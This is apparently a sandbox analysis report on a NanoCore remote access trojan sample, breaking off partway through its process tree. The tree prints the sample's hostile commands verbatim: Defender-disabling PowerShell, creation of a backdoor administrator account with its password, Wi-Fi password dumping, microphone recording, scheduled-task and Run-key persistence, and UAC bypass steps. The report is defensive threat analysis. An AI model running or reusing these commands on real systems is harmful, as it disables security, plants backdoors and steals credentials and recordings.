nanocore | bf62e2237bc6fa39b46ed04725f76cd878dc8b4b03df0b53b791bdc1f994e997

Analysis

max time kernel
1s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 00:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ucs-line.com_new.exe
Size 25KB
Sample260807-apylesdb47
SHA256 bf62e2237bc6fa39b46ed04725f76cd878dc8b4b03df0b53b791bdc1f994e997
MD5 85fada9d283dbbed4714452259b2b462
SHA1 7409561fbef21ab659b528d720e55637740709e1
SHA512 f67f0e28170571d13f544b4eec79e94b0a510fb6580b882de460ffeb1059851243d604b655beb0b5d95c5d7e493d512e4edfb366833ea79dc76266a6ee2e2a17
SSDEEP 384:x+TshrmS6qtHcKv0sPg988zu+SD+dhpl4+FI5Ux94TGwNYM8G+H+Fz9yS5W5x//6:wIhftVv9PgLXmyIy9yqM8zSBySA//
TLSH
T12DC2F74177FCC229E0FF5BB65D7257008775B84B8E16CA0D0EE9848E1E77B044AA4BE2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore keylogger persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
443

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 33 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
11936	powershell.exe
2412	powershell.exe
7288	powershell.exe
8252	powershell.exe
10732	powershell.exe
14188	powershell.exe
9512	powershell.exe
4844	powershell.exe
13456	powershell.exe
13324	powershell.exe
3028	powershell.exe
10692	powershell.exe
11780	powershell.exe
12292	powershell.exe
13180	powershell.exe
6092	powershell.exe
13664	powershell.exe
2164	powershell.exe
2076	powershell.exe
9180	powershell.exe
11032	powershell.exe
6140	powershell.exe
2484	powershell.exe
9776	powershell.exe
5292	powershell.exe
4236	powershell.exe
796	powershell.exe
8160	powershell.exe
9112	powershell.exe
7972	powershell.exe
2576	powershell.exe
7688	powershell.exe
992	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	ucs-line.com_new.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ucs-line.com_new.exe"	ucs-line.com_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	ucs-line.com_new.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 59 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2204	powershell.exe
9772	powershell.exe
9400	powershell.exe
12964	powershell.exe
9820	powershell.exe
10012	powershell.exe
10848	powershell.exe
2328	powershell.exe
11716	powershell.exe
6444	powershell.exe
7096	powershell.exe
4612	powershell.exe
9092	powershell.exe
9532	powershell.exe
5320	powershell.exe
10908	powershell.exe
3404	powershell.exe
4704	powershell.exe
6296	powershell.exe
10828	powershell.exe
5684	powershell.exe
11292	powershell.exe
8948	powershell.exe
8948	powershell.exe
10172	powershell.exe
4628	powershell.exe
9776	powershell.exe
2076	powershell.exe
3028	powershell.exe
7972	powershell.exe
4844	powershell.exe
2412	powershell.exe
2576	powershell.exe
796	powershell.exe
11780	powershell.exe
13180	powershell.exe
13456	powershell.exe
13664	powershell.exe
5292	powershell.exe
11936	powershell.exe
2164	powershell.exe
8252	powershell.exe
2484	powershell.exe
4236	powershell.exe
7688	powershell.exe
9512	powershell.exe
12292	powershell.exe
11032	powershell.exe
6140	powershell.exe
6092	powershell.exe
8160	powershell.exe
7288	powershell.exe
13324	powershell.exe
9112	powershell.exe
992	powershell.exe
10732	powershell.exe
9180	powershell.exe
10692	powershell.exe
14188	powershell.exe

Creates a new local user account 1 TTPs 64 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
5600	net1.exe
8740	net.exe
9528	net1.exe
4240	net.exe
13428	net1.exe
6336	net.exe
11920	net.exe
11272	net1.exe
11676	net1.exe
12632	net.exe
10020	net1.exe
6952	net1.exe
11528	net.exe
928	net1.exe
8584	net.exe
3272	net1.exe
6280	net.exe
2776	net.exe
10944	net.exe
416	net1.exe
10992	net1.exe
14280	net1.exe
8704	net.exe
6716	net1.exe
4768	net1.exe
8492	net1.exe
9448	net1.exe
11608	net1.exe
6140	net.exe
8164	net.exe
6072	net1.exe
1296	net.exe
10448	net.exe
4992	net.exe
2872	net1.exe
6036	net1.exe
13636	net.exe
4508	net1.exe
6392	net.exe
6504	net.exe
6776	net.exe
10128	net.exe
12864	net.exe
1988	net.exe
5624	net.exe
6192	net.exe
6704	net1.exe
5636	net1.exe
10992	net1.exe
12504	net.exe
2892	net.exe
6856	net1.exe
6872	net1.exe
6232	net1.exe
3420	net1.exe
8428	net1.exe
10528	net1.exe
10952	net.exe
5784	net1.exe
4832	net.exe
6720	net.exe
8788	net.exe
10252	net.exe
12236	net1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 26 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
10684	netsh.exe
10452	netsh.exe
10416	netsh.exe
9008	netsh.exe
7440	netsh.exe
3332	netsh.exe
5888	netsh.exe
3352	netsh.exe
9880	netsh.exe
11220	netsh.exe
11520	netsh.exe
9124	netsh.exe
4016	netsh.exe
5024	netsh.exe
13712	netsh.exe
3564	netsh.exe
8792	netsh.exe
4120	netsh.exe
12508	netsh.exe
9416	netsh.exe
12896	netsh.exe
10232	netsh.exe
10536	netsh.exe
11160	netsh.exe
1484	netsh.exe
2356	netsh.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command	ucs-line.com_new.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings	ucs-line.com_new.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell	ucs-line.com_new.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open	ucs-line.com_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ucs-line.com_new.exe"	ucs-line.com_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command\DelegateExecute	ucs-line.com_new.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 33 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
8416	schtasks.exe
8312	schtasks.exe
11924	schtasks.exe
7620	schtasks.exe
12980	schtasks.exe
4172	schtasks.exe
4896	schtasks.exe
5124	schtasks.exe
6780	schtasks.exe
6436	schtasks.exe
2996	schtasks.exe
2572	schtasks.exe
7080	schtasks.exe
4772	schtasks.exe
2828	schtasks.exe
6088	schtasks.exe
12428	schtasks.exe
13616	schtasks.exe
10116	schtasks.exe
10060	schtasks.exe
5732	schtasks.exe
5256	schtasks.exe
6948	schtasks.exe
4964	schtasks.exe
8288	schtasks.exe
14068	schtasks.exe
6836	schtasks.exe
7696	schtasks.exe
11604	schtasks.exe
7764	schtasks.exe
7748	schtasks.exe
8996	schtasks.exe
9040	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4460	cmstp.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1956	mmc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5776 wrote to memory of 4896	5776	ucs-line.com_new.exe	88
PID 5776 wrote to memory of 4460	5776	ucs-line.com_new.exe	90
PID 5776 wrote to memory of 3164	5776	ucs-line.com_new.exe	92
PID 3164 wrote to memory of 1956	3164	eventvwr.exe	94
PID 5776 wrote to memory of 4108	5776	ucs-line.com_new.exe	95
PID 5776 wrote to memory of 5292	5776	ucs-line.com_new.exe	96

C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe
"C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5776
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4896
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7e61bb07-83aa-4d4c-a591-01cb2cbfa4cb.inf
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4460
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:1956
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4108
- - C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe
    "C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe"
    3⤵
    PID:468
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5124
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5e830ecd-f2c3-4d6d-9eb2-0e7371e3c684.inf
      4⤵
      PID:992
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:3892
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:2724
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4740
    - - C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe"
        5⤵
        
        PID:4580
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2828
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\28e5a386-0ad7-44b6-9af9-14c358865ed9.inf
        6⤵
        
        PID:4988
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:6012
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:1408
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:1084
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:3532
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6836
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1613fcf7-c094-47be-9cab-8a4c6a66f4fa.inf
        8⤵
        
        PID:7156
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:4220
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:3684
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:6380
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        9⤵
        
        PID:6476
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7748
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\937cec63-7393-41a4-9254-4cbb3d0f5c78.inf
        10⤵
        
        PID:7928
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:8024
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:8184
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        11⤵
        
        PID:8500
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8312
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2cefb66f-6181-47cf-a9ea-cb1362fc0eda.inf
        12⤵
        
        PID:9280
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:9320
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:9492
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:9504
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        13⤵
        
        PID:8916
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5732
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2a4df0ee-cb1a-4056-bdca-9e5a875f1d93.inf
        14⤵
        
        PID:3512
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:7692
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:10512
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:1168
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        15⤵
        
        PID:11368
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7620
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\27aded06-e507-41f8-82c4-48f010d08bd0.inf
        16⤵
        
        PID:11624
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:4388
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:10356
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:10956
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        17⤵
        
        PID:13292
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8288
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\638cacd6-6366-4b23-a107-304f70f450cd.inf
        18⤵
        
        PID:11780
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:11008
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:8924
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:8272
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        19⤵
        
        PID:13552
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7764
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\eee1c5be-8500-4a69-b1a2-a57a50904fef.inf
        20⤵
        
        PID:11896
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:13864
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:13772
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:13476
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        21⤵
        
        PID:5588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13664
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:8164
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:10992
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:5240
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:8208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2484
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:13636
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:14280
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:14196
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:8884
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:8824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12292
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:12632
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:11608
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:13016
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:4744
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:11492
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627725361323.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10692
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:11528
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:5784
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:12216
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:8688
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:12624
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627486391911.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9512
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:10128
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:10528
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:9244
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:10840
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:11376
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627366383508.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7288
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:6776
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:8428
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:8384
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:8972
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:9380
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627176634794.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:796
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:6504
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:6952
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:6856
        
        C:\Windows\system32\net1.exe
        
